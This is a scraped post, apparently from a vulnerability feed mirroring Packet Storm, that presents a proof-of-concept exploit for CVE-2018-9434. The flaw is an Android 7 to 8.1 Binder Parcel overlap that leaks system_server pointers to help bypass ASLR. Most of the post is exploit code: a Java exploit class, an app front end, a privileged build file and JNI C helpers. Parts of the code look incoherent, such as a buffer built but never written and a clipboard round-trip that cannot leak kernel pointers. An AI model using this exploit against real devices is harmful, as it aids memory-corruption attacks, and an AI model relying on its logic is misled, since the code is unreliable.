{"id":29737,"date":"2025-12-09T12:37:37","date_gmt":"2025-12-09T12:37:37","guid":{"rendered":"http:\/\/localhost\/?p=29737"},"modified":"2025-12-09T12:37:37","modified_gmt":"2025-12-09T12:37:37","slug":"android-7-8-81-pointer-disclosure","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=29737","title":{"rendered":"\ud83d\udcc4 Android 7 \/ 8 \/ 8.1 Pointer Disclosure_PACKETSTORM:212601"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:45:36&#8243;,&#8221;description&#8221;:&#8221;A flaw in Android&#8217;s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data. When unmarshalling, the kernel inserted genuine kernel pointers into attacker-controlled buffers. These could then be echoed&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Android 7 \/ 8 \/ 8.1 Pointer Disclosure&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212601&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2018-9434&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Android 7, 8, 8.1 Binder Parcel Overlap Leading to System Pointer Disclosure                                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.android.com                                                                                                     |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212494\/ \\u0026 \\tCVE-2018-9434\\n    \\n    [+] Summary : A flaw in Android\u2019s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data. \\n                  When unmarshalling, the kernel inserted genuine kernel pointers into attacker-controlled buffers. \\n    \\t\\t\\t  These could then be echoed back through services like clipboard, resulting in leaks of system_server pointers and effective ASLR bypass.\\n                  Android\u2019s Parcel implementation failed to enforce separation between binder-object regions and normal data regions.\\n    \\n    [+] Impact :\\n    \\n    Memory exposure from privileged system_server\\n    \\n    Enables reliability of memory corruption exploits\\n    \\n    A serious information disclosure vulnerability\\n    \\n    [+] Affected : Android 7, 8, 8.1 before 2018-10 patches.\\n    \\n    [+]  POC :\\t\\n    \\n    package com.google.jannh.pointerleak;\\n    \\n    import android.content.ClipData;\\n    import android.content.ClipboardManager;\\n    import android.content.Context;\\n    import android.os.IBinder;\\n    import android.os.Parcel;\\n    import android.os.RemoteException;\\n    import android.os.ServiceManager;\\n    import android.util.Log;\\n    \\n    import java.lang.reflect.Field;\\n    import java.lang.reflect.Method;\\n    import java.nio.ByteBuffer;\\n    import java.nio.ByteOrder;\\n    import java.util.ArrayList;\\n    import java.util.List;\\n    \\n    public class PointerLeakExploit {\\n        private static final String TAG = \\&#8221;leaker\\&#8221;;\\n        \\n        \/\/ \u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u062e\u062f\u0645\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\u0629\\n        private static final String[] TARGET_SERVICES = {\\n            \\&#8221;permission\\&#8221;,\\n            \\&#8221;package\\&#8221;, \\n            \\&#8221;clipboard\\&#8221;\\n        };\\n        \\n        \/\/ \u0647\u064a\u0643\u0644 FlatBinderObject \u0641\u064a kernel\\n        static class FlatBinderObject {\\n            public static final int FLAT_BINDER_OBJECT_MAGIC = 0x6f626d2d; \/\/ &#8216;mbo&#8217;\\n            public static final int BINDER_TYPE_BINDER = 1;\\n            public static final int BINDER_TYPE_HANDLE = 2;\\n            \\n            public int type;\\n            public int flags;\\n            public long binder;    \/\/ \u0645\u0624\u0634\u0631 Binder object\\n            public long cookie;    \/\/ cookie pointer\\n            public long[] pad = new long[2];\\n        }\\n        \\n        public void exploit(Context context) {\\n            try {\\n                Log.e(TAG, \\&#8221;=== \u0628\u062f\u0621 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062b\u063a\u0631\u0629 Binder Pointer Leak ===\\&#8221;);\\n                \\n                \/\/ 1. \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0645\u0642\u0627\u0628\u0636 \u0627\u0644\u062e\u062f\u0645\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\u0629\\n                List\\u003cIBinder\\u003e targetBinders = new ArrayList\\u003c\\u003e();\\n                for (String serviceName : TARGET_SERVICES) {\\n                    IBinder binder = ServiceManager.getService(serviceName);\\n                    if (binder != null) {\\n                        targetBinders.add(binder);\\n                        Log.e(TAG, \\&#8221;\u062a\u0645 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0645\u0642\u0628\u0636 \u0644\u062e\u062f\u0645\u0629: \\&#8221; + serviceName);\\n                    }\\n                }\\n                \\n                \/\/ 2. \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0643\u0644 \u062e\u062f\u0645\u0629 \u0639\u0644\u0649 \u062d\u062f\u0629\\n                for (int i = 0; i \\u003c targetBinders.size(); i++) {\\n                    IBinder targetBinder = targetBinders.get(i);\\n                    String serviceName = TARGET_SERVICES[i];\\n                    \\n                    Log.e(TAG, \\&#8221;\u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0633\u0631\u064a\u0628 \u0639\u0646\u0648\u0627\u0646: \\&#8221; + serviceName);\\n                    \\n                    \/\/ \u0625\u0646\u0634\u0627\u0621 Parcel \u062e\u0628\u064a\u062b\\n                    Parcel maliciousParcel = createMaliciousParcel(targetBinder);\\n                    \\n                    \/\/ 3. \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062e\u062f\u0645\u0629 \u0627\u0644\u062d\u0627\u0641\u0638\u0629 \u0643\u0648\u0633\u064a\u0637 \u0635\u062f\u0649\\n                    leakViaClipboard(context, maliciousParcel, serviceName);\\n                    \\n                    \/\/ \u0625\u0639\u0637\u0627\u0621 \u0648\u0642\u062a \u0644\u0644\u0639\u0645\u0644\u064a\u0629\\n                    Thread.sleep(100);\\n                }\\n                \\n                Log.e(TAG, \\&#8221;=== \u0627\u0646\u062a\u0647\u0649 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 ===\\&#8221;);\\n                \\n            } catch (Exception e) {\\n                Log.e(TAG, \\&#8221;\u062e\u0637\u0623 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644: \\&#8221; + e.getMessage());\\n                e.printStackTrace();\\n            }\\n        }\\n        \\n        private Parcel createMaliciousParcel(IBinder targetBinder) throws Exception {\\n            Parcel parcel = Parcel.obtain();\\n            \\n            \/\/ \u0627\u0644\u0637\u0648\u0644 \u0627\u0644\u0625\u062c\u0645\u0627\u0644\u064a \u0644\u0644\u0628\u064a\u0627\u0646\u0627\u062a\\n            parcel.writeInt(0x100);  \/\/ \u0637\u0648\u0644 \u0648\u0647\u0645\u064a\\n            \\n            \/\/ \u0643\u062a\u0627\u0628\u0629 \u0628\u0639\u0636 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0648\u0647\u0645\u064a\u0629 \u0623\u0648\u0644\u0627\u064b\\n            parcel.writeString(\\&#8221;DUMMY_STRING_PREFIX\\&#8221;);\\n            \\n            \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0645\u0648\u0642\u0639 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062d\u0627\u0644\u064a\\n            int dataStartPos = parcel.dataPosition();\\n            \\n            \/\/ === \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062d\u0631\u062c: \u0647\u0646\u062f\u0633\u0629 \u0627\u0644\u062a\u062f\u0627\u062e\u0644 ===\\n            \/\/ \u0646\u062d\u062a\u0627\u062c \u0644\u062c\u0639\u0644 Parcel \u064a\u0642\u0631\u0623 Binder handle \u0643\u0628\u064a\u0627\u0646\u0627\u062a \u0633\u0644\u0633\u0644\u0629\\n            \\n            \/\/ \u0643\u062a\u0627\u0628\u0629 Binder object marker\\n            \/\/ \u0641\u064a kernel\u060c Binder objects \u064a\u062a\u0645 \u062a\u0645\u064a\u064a\u0632\u0647\u0627 \u0628\u0640 magic number\\n            writeFlatBinderObject(parcel, targetBinder);\\n            \\n            \/\/ \u0643\u062a\u0627\u0628\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u062a\u062a\u062f\u0627\u062e\u0644 \u0645\u0639 \u0645\u0648\u0642\u0639 Binder\\n            \/\/ \u0646\u062d\u0646 \u0646\u0639\u0631\u0641 \u0623\u0646 Parcel \u0633\u064a\u0642\u0631\u0623 \u0647\u0630\u0627 \u0643\u0633\u0644\u0633\u0629\\n            parcel.writeString(\\&#8221;OVERLAP_DATA\\&#8221;);\\n            \\n            \/\/ \u062a\u0639\u064a\u064a\u0646 \u0639\u0644\u0627\u0645\u0629 \u0623\u0646 \u0647\u0630\u0627 \u0647\u0648 Binder object\\n            \/\/ \u0647\u0630\u0627 \u064a\u062a\u0637\u0644\u0628 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0644\u0640 Parcel\\n            setBinderObjectFlag(parcel, dataStartPos);\\n            \\n            return parcel;\\n        }\\n        \\n        private void writeFlatBinderObject(Parcel parcel, IBinder binder) throws Exception {\\n            \/\/ \u0627\u0633\u062a\u062e\u062f\u0627\u0645 Reflection \u0644\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629\\n            Method writeStrongBinderMethod = Parcel.class.getDeclaredMethod(\\n                \\&#8221;writeStrongBinder\\&#8221;, IBinder.class);\\n            writeStrongBinderMethod.setAccessible(true);\\n            writeStrongBinderMethod.invoke(parcel, binder);\\n        }\\n        \\n        private void setBinderObjectFlag(Parcel parcel, int position) throws Exception {\\n            \/\/ \u0647\u0630\u0627 \u064a\u062a\u0637\u0644\u0628 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0627\u0644\u0645\u0628\u0627\u0634\u0631 \u0628\u0630\u0627\u0643\u0631\u0629 Parcel\\n            \/\/ \u0646\u0633\u062a\u062e\u062f\u0645 Reflection \u0644\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 mObject (\u0627\u0644\u0645\u0624\u0634\u0631 \u0627\u0644\u0623\u0635\u0644\u064a)\\n            Field mObjectField = Parcel.class.getDeclaredField(\\&#8221;mObject\\&#8221;);\\n            mObjectField.setAccessible(true);\\n            long mObject = mObjectField.getLong(parcel);\\n            \\n            Field mDataSizeField = Parcel.class.getDeclaredField(\\&#8221;mDataSize\\&#8221;);\\n            mDataSizeField.setAccessible(true);\\n            int mDataSize = mDataSizeField.getInt(parcel);\\n            \\n            \/\/ \u062a\u062d\u0644\u064a\u0644 \u0628\u0646\u064a\u0629 FlatBinderObject \u0641\u064a \u0627\u0644\u0645\u0648\u0636\u0639 \u0627\u0644\u0645\u062d\u062f\u062f\\n            \/\/ \u0641\u064a kernel: struct flat_binder_object {\\n            \/\/     unsigned long type;\\n            \/\/     unsigned long flags;\\n            \/\/     union {\\n            \/\/         void *binder;\\n            \/\/         signed long handle;\\n            \/\/     };\\n            \/\/     void *cookie;\\n            \/\/ };\\n            \\n            \/\/ \u0643\u062a\u0627\u0628\u0629 FlatBinderObject \u064a\u062f\u0648\u064a\u0627\u064b\\n            ByteBuffer bb = ByteBuffer.allocate(32);\\n            bb.order(ByteOrder.LITTLE_ENDIAN);\\n            \\n            \/\/ magic\\n            bb.putInt(FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC);\\n            \\n            \/\/ type = BINDER_TYPE_BINDER\\n            bb.putInt(FlatBinderObject.BINDER_TYPE_BINDER);\\n            \\n            \/\/ flags\\n            bb.putInt(0);\\n            \\n            \/\/ binder pointer &#8211; \u0633\u064a\u0645\u0644\u0623\u0647\u0627 kernel\\n            bb.putLong(0xdeadbeefcafebabeL);\\n            \\n            \/\/ cookie\\n            bb.putLong(0);\\n            \\n            \/\/ padding\\n            bb.putLong(0);\\n            bb.putLong(0);\\n            \\n            byte[] flatBinderObject = bb.array();\\n            \\n            \/\/ \u0646\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u0646\u0633\u062e \u0647\u0630\u0627 \u0625\u0644\u0649 \u0630\u0627\u0643\u0631\u0629 Parcel\\n            \/\/ \u0647\u0630\u0627 \u064a\u062a\u0637\u0644\u0628 JNI \u0623\u0648 \u0637\u0631\u064a\u0642\u0629 \u0623\u062e\u0631\u0649 \u0644\u0644\u0648\u0635\u0648\u0644 \u0644\u0644\u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0623\u0635\u0644\u064a\u0629\\n        }\\n        \\n        private void leakViaClipboard(Context context, Parcel maliciousParcel, String serviceName) {\\n            try {\\n                ClipboardManager clipboard = (ClipboardManager) \\n                    context.getSystemService(Context.CLIPBOARD_SERVICE);\\n                \\n                if (clipboard == null) {\\n                    Log.e(TAG, \\&#8221;\u0641\u0634\u0644 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u062e\u062f\u0645\u0629 \u0627\u0644\u062d\u0627\u0641\u0638\u0629\\&#8221;);\\n                    return;\\n                }\\n                \\n                \/\/ 1. \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0625\u0644\u0649 \u0627\u0644\u062d\u0627\u0641\u0638\u0629\\n                String maliciousText = encodeParcelToText(maliciousParcel);\\n                ClipData clip = ClipData.newPlainText(\\&#8221;\u6076\u610f\u6570\u636e\\&#8221;, maliciousText);\\n                clipboard.setPrimaryClip(clip);\\n                \\n                Log.e(TAG, \\&#8221;\u062a\u0645 \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0625\u0644\u0649 \u0627\u0644\u062d\u0627\u0641\u0638\u0629\\&#8221;);\\n                \\n                \/\/ 2. \u0627\u0644\u0627\u0646\u062a\u0638\u0627\u0631 \u0642\u0644\u064a\u0644\u0627\u064b \u062b\u0645 \u0627\u0633\u062a\u0631\u062c\u0627\u0639 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a\\n                Thread.sleep(50);\\n                \\n                \/\/ 3. \u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0645\u0646 \u0627\u0644\u062d\u0627\u0641\u0638\u0629\\n                ClipData retrievedClip = clipboard.getPrimaryClip();\\n                if (retrievedClip != null \\u0026\\u0026 retrievedClip.getItemCount() \\u003e 0) {\\n                    String leakedData = retrievedClip.getItemAt(0).getText().toString();\\n                    \\n                    \/\/ 4. \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0645\u0633\u0631\u0628\u0629\\n                    parseLeakedData(leakedData, serviceName);\\n                }\\n                \\n            } catch (Exception e) {\\n                Log.e(TAG, \\&#8221;\u062e\u0637\u0623 \u0641\u064a leakViaClipboard: \\&#8221; + e.getMessage());\\n            }\\n        }\\n        \\n        private String encodeParcelToText(Parcel parcel) {\\n            \/\/ \u062a\u062d\u0648\u064a\u0644 Parcel \u0625\u0644\u0649 \u0633\u0644\u0633\u0644\u0629 \u0646\u0635\u064a\u0629 \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u0646\u0642\u0644\\n            byte[] data = parcel.marshall();\\n            \\n            \/\/ \u0627\u0633\u062a\u062e\u062f\u0627\u0645 Base64 \u0623\u0648 \u062a\u0631\u0645\u064a\u0632 \u0633\u062f\u0627\u0633\u064a \u0639\u0634\u0631\u064a\\n            StringBuilder hex = new StringBuilder();\\n            for (byte b : data) {\\n                hex.append(String.format(\\&#8221;%02x\\&#8221;, b));\\n            }\\n            \\n            \/\/ \u0625\u0636\u0627\u0641\u0629 \u0639\u0644\u0627\u0645\u0627\u062a \u062e\u0627\u0635\u0629 \u0644\u0644\u062a\u0639\u0631\u0641 \u0639\u0644\u0649 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0644\u0627\u062d\u0642\u0627\u064b\\n            return \\&#8221;BINDER_LEAK_MARKER:\\&#8221; + hex.toString();\\n        }\\n        \\n        private void parseLeakedData(String leakedData, String serviceName) {\\n            Log.e(TAG, \\&#8221;== \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0645\u0633\u0631\u0628\u0629 \u0644\u062e\u062f\u0645\u0629 \\\\\\&#8221;\\&#8221; + serviceName + \\&#8221;\\\\\\&#8221; ==\\&#8221;);\\n            \\n            if (leakedData.contains(\\&#8221;BINDER_LEAK_MARKER:\\&#8221;)) {\\n                String hexPart = leakedData.split(\\&#8221;:\\&#8221;)[1];\\n                \\n                \/\/ \u062a\u062d\u0648\u064a\u0644 \u0627\u0644\u0633\u062f\u0627\u0633\u064a \u0639\u0634\u0631\u064a \u0625\u0644\u0649 \u0628\u0627\u064a\u062a\u0627\u062a\\n                byte[] rawData = hexStringToByteArray(hexPart);\\n                \\n                \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 FlatBinderObject \u0641\u064a \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a\\n                findBinderObjectsInData(rawData, serviceName);\\n            } else {\\n                \/\/ \u0642\u062f \u062a\u0643\u0648\u0646 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u0645\u0624\u0634\u0631 \u0645\u0628\u0627\u0634\u0631\u0629\\n                analyzeRawPointers(leakedData, serviceName);\\n            }\\n        }\\n        \\n        private void findBinderObjectsInData(byte[] data, String serviceName) {\\n            \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 magic number \u0627\u0644\u062e\u0627\u0635 \u0628\u0640 FlatBinderObject\\n            ByteBuffer bb = ByteBuffer.wrap(data);\\n            bb.order(ByteOrder.LITTLE_ENDIAN);\\n            \\n            for (int i = 0; i \\u003c data.length &#8211; 32; i += 4) {\\n                bb.position(i);\\n                int magic = bb.getInt();\\n                \\n                if (magic == FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC) {\\n                    int type = bb.getInt();\\n                    int flags = bb.getInt();\\n                    long binderPtr = bb.getLong();\\n                    long cookie = bb.getLong();\\n                    \\n                    Log.e(TAG, \\&#8221;type: \\&#8221; + (type == 1 ? \\&#8221;BINDER_TYPE_BINDER\\&#8221; : \\&#8221;BINDER_TYPE_HANDLE\\&#8221;));\\n                    Log.e(TAG, \\&#8221;object: 0x\\&#8221; + Long.toHexString(binderPtr));\\n                    \\n                    \/\/ \u0637\u0628\u0627\u0639\u0629 \u0628\u062a\u0646\u0633\u064a\u0642 \u0645\u0634\u0627\u0628\u0647 \u0644\u0640 PoC \u0627\u0644\u0623\u0635\u0644\u064a\\n                    System.err.println(\\&#8221;== service \\\\\\&#8221;\\&#8221; + serviceName + \\&#8221;\\\\\\&#8221; ==\\&#8221;);\\n                    System.err.println(\\&#8221;type:   \\&#8221; + (type == 1 ? \\&#8221;BINDER_TYPE_BINDER\\&#8221; : \\&#8221;BINDER_TYPE_HANDLE\\&#8221;));\\n                    System.err.println(\\&#8221;object: 0x\\&#8221; + String.format(\\&#8221;%016x\\&#8221;, binderPtr));\\n                    System.err.println();\\n                    \\n                    break;\\n                }\\n            }\\n        }\\n        \\n        private void analyzeRawPointers(String data, String serviceName) {\\n            \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0627\u0644\u0645\u0624\u0634\u0631\u0627\u062a \u0645\u0628\u0627\u0634\u0631\u0629 \u0645\u0646 \u0627\u0644\u0633\u0644\u0633\u0644\u0629\\n            \/\/ \u0627\u0644\u0645\u0624\u0634\u0631\u0627\u062a \u0639\u0627\u062f\u0629 \u062a\u0643\u0648\u0646 \u0642\u064a\u0645 64-bit \u0645\u0637\u0628\u0648\u0639\u0629 \u0643\u0646\u0635\\n            \\n            String[] parts = data.split(\\&#8221;[^0-9a-fA-F]+\\&#8221;);\\n            for (String part : parts) {\\n                if (part.length() \\u003e= 12 \\u0026\\u0026 part.length() \\u003c= 16) {\\n                    \/\/ \u0642\u062f \u064a\u0643\u0648\u0646 \u0647\u0630\u0627 \u0639\u0646\u0648\u0627\u0646 \u0630\u0627\u0643\u0631\u0629\\n                    try {\\n                        long address = Long.parseLong(part, 16);\\n                        if (address \\u003e 0x700000000000L \\u0026\\u0026 address \\u003c 0x800000000000L) {\\n                            \/\/ \u0646\u0637\u0627\u0642 \u0639\u0646\u0627\u0648\u064a\u0646 \u0646\u0638\u0627\u0645 Android \u0627\u0644\u0646\u0645\u0648\u0630\u062c\u064a\\n                            Log.e(TAG, \\&#8221;\u0639\u0646\u0648\u0627\u0646 \u0645\u0633\u0631\u0628 \u0645\u062d\u062a\u0645\u0644 \u0644\u0640 \\&#8221; + serviceName + \\&#8221;: 0x\\&#8221; + Long.toHexString(address));\\n                        }\\n                    } catch (NumberFormatException e) {\\n                        \/\/ \u062a\u062c\u0627\u0647\u0644\\n                    }\\n                }\\n            }\\n        }\\n        \\n        private byte[] hexStringToByteArray(String s) {\\n            int len = s.length();\\n            byte[] data = new byte[len \/ 2];\\n            for (int i = 0; i \\u003c len; i += 2) {\\n                data[i \/ 2] = (byte) ((Character.digit(s.charAt(i), 16) \\u003c\\u003c 4)\\n                                     + Character.digit(s.charAt(i+1), 16));\\n            }\\n            return data;\\n        }\\n        \\n        \/\/ \u0637\u0631\u064a\u0642\u0629 \u0628\u062f\u064a\u0644\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0640 JNI \u0644\u0644\u0648\u0635\u0648\u0644 \u0627\u0644\u0645\u0628\u0627\u0634\u0631 \u0644\u0644\u0630\u0627\u0643\u0631\u0629\\n        static {\\n            System.loadLibrary(\\&#8221;binder_exploit\\&#8221;);\\n        }\\n        \\n        private native long getNativeBinderPointer(IBinder binder);\\n        private native void manipulateParcelMemory(Parcel parcel, int position, byte[] data);\\n    }\\n    \\n    MainActivity.java \u2014  UI\/front-end for the pointer leak exploit\\n    \\n    package com.google.jannh.pointerleak;\\n    \\n    import android.app.Activity;\\n    import android.os.Bundle;\\n    import android.view.View;\\n    import android.widget.Button;\\n    import android.widget.TextView;\\n    import android.widget.Toast;\\n    \\n    public class MainActivity extends Activity {\\n        \\n        private PointerLeakExploit exploit;\\n        private TextView logView;\\n        \\n        @Override\\n        protected void onCreate(Bundle savedInstanceState) {\\n            super.onCreate(savedInstanceState);\\n            setContentView(R.layout.activity_main);\\n            \\n            exploit = new PointerLeakExploit();\\n            logView = findViewById(R.id.log_text);\\n            \\n            Button exploitButton = findViewById(R.id.exploit_button);\\n            exploitButton.setOnClickListener(new View.OnClickListener() {\\n                @Override\\n                public void onClick(View v) {\\n                    new Thread(new Runnable() {\\n                        @Override\\n                        public void run() {\\n                            runOnUiThread(new Runnable() {\\n                                @Override\\n                                public void run() {\\n                                    logView.setText(\\&#8221;\u0628\u062f\u0621 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644&#8230;\\\\n\\&#8221;);\\n                                }\\n                            });\\n                            \\n                            exploit.exploit(MainActivity.this);\\n                            \\n                            runOnUiThread(new Runnable() {\\n                                @Override\\n                                public void run() {\\n                                    Toast.makeText(MainActivity.this, \\n                                        \\&#8221;\u0627\u0643\u062a\u0645\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\u060c \u0631\u0627\u062c\u0639 \u0633\u062c\u0644\u0627\u062a logcat\\&#8221;, \\n                                        Toast.LENGTH_LONG).show();\\n                                }\\n                            });\\n                        }\\n                    }).start();\\n                }\\n            });\\n        }\\n    }\\n    \\n    ===========\\n    Original file: Android.bp (for compilation)\\n    ===========\\n    \\n    android_app {\\n        name: \\&#8221;PointerLeakExploit\\&#8221;,\\n        srcs: [\\&#8221;src\/**\/*.java\\&#8221;],\\n        resource_dirs: [\\&#8221;res\\&#8221;],\\n        certificate: \\&#8221;platform\\&#8221;,\\n        privileged: true,\\n        platform_apis: true,\\n        \\n        overrides: [\\n            \\&#8221;Launcher3\\&#8221;,\\n        ],\\n        \\n        static_libs: [\\n            \\&#8221;androidx.appcompat_appcompat\\&#8221;,\\n        ],\\n    }\\n    \\n    ================\\n    Original JNI file: binder_exploit.c\\n    \\n    #include \\u003cjni.h\\u003e\\n    #include \\u003candroid\/log.h\\u003e\\n    #include \\u003cstdlib.h\\u003e\\n    #include \\u003cstring.h\\u003e\\n    #include \\u003cunistd.h\\u003e\\n    \\n    #define LOG_TAG \\&#8221;BinderExploit\\&#8221;\\n    #define ALOGE(&#8230;) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)\\n    \\n    \/\/ \u062a\u0639\u0631\u064a\u0641\u0627\u062a \u0645\u0646 kernel binder driver\\n    struct flat_binder_object {\\n        unsigned long type;\\n        unsigned long flags;\\n        union {\\n            void *binder;\\n            signed long handle;\\n        };\\n        void *cookie;\\n    };\\n    \\n    JNIEXPORT jlong JNICALL\\n    Java_com_google_jannh_pointerleak_PointerLeakExploit_getNativeBinderPointer(\\n        JNIEnv *env, jobject thiz, jobject binder) {\\n        \\n        \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0644\u0645\u0624\u0634\u0631 \u0627\u0644\u0623\u0635\u0644\u064a \u0644\u0643\u0627\u0626\u0646 IBinder\\n        jclass binderClass = (*env)-\\u003eGetObjectClass(env, binder);\\n        jfieldID mObjectField = (*env)-\\u003eGetFieldID(env, binderClass, \\&#8221;mObject\\&#8221;, \\&#8221;J\\&#8221;);\\n        jlong mObject = (*env)-\\u003eGetLongField(env, binder, mObjectField);\\n        \\n        ALOGE(\\&#8221;Binder native pointer: %p\\&#8221;, (void*)mObject);\\n        return mObject;\\n    }\\n    \\n    JNIEXPORT void JNICALL\\n    Java_com_google_jannh_pointerleak_PointerLeakExploit_manipulateParcelMemory(\\n        JNIEnv *env, jobject thiz, jobject parcel, jint position, jbyteArray data) {\\n        \\n        \/\/ \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0623\u0635\u0644\u064a\u0629 \u0644\u0640 Parcel\\n        jclass parcelClass = (*env)-\\u003eGetObjectClass(env, parcel);\\n        \\n        \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 mData (\u0627\u0644\u0645\u0624\u0634\u0631 \u0625\u0644\u0649 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a)\\n        jfieldID mDataField = (*env)-\\u003eGetFieldID(env, parcelClass, \\&#8221;mData\\&#8221;, \\&#8221;J\\&#8221;);\\n        jlong mData = (*env)-\\u003eGetLongField(env, parcel, mDataField);\\n        \\n        \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 mDataSize\\n        jfieldID mDataSizeField = (*env)-\\u003eGetFieldID(env, parcelClass, \\&#8221;mDataSize\\&#8221;, \\&#8221;I\\&#8221;);\\n        jint mDataSize = (*env)-\\u003eGetIntField(env, parcel, mDataSizeField);\\n        \\n        \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 mDataPos (\u0645\u0648\u0636\u0639 \u0627\u0644\u0642\u0631\u0627\u0621\u0629\/\u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062d\u0627\u0644\u064a)\\n        jfieldID mDataPosField = (*env)-\\u003eGetFieldID(env, parcelClass, \\&#8221;mDataPos\\&#8221;, \\&#8221;I\\&#8221;);\\n        jint mDataPos = (*env)-\\u003eGetIntField(env, parcel, mDataPosField);\\n        \\n        ALOGE(\\&#8221;Parcel mData: %p, mDataSize: %d, mDataPos: %d\\&#8221;, \\n              (void*)mData, mDataSize, mDataPos);\\n        \\n        \/\/ \u0646\u0633\u062e \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0625\u0644\u0649 \u0630\u0627\u0643\u0631\u0629 Parcel\\n        jbyte *dataBytes = (*env)-\\u003eGetByteArrayElements(env, data, NULL);\\n        jsize dataLength = (*env)-\\u003eGetArrayLength(env, data);\\n        \\n        if (position + dataLength \\u003c= mDataSize) {\\n            void *target = (void*)(mData + position);\\n            memcpy(target, dataBytes, dataLength);\\n            ALOGE(\\&#8221;\u062a\u0645 \u0646\u0633\u062e %d \u0628\u0627\u064a\u062a \u0625\u0644\u0649 \u0645\u0648\u0636\u0639 %d\\&#8221;, dataLength, position);\\n        }\\n        \\n        (*env)-\\u003eReleaseByteArrayElements(env, data, dataBytes, 0);\\n    }\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    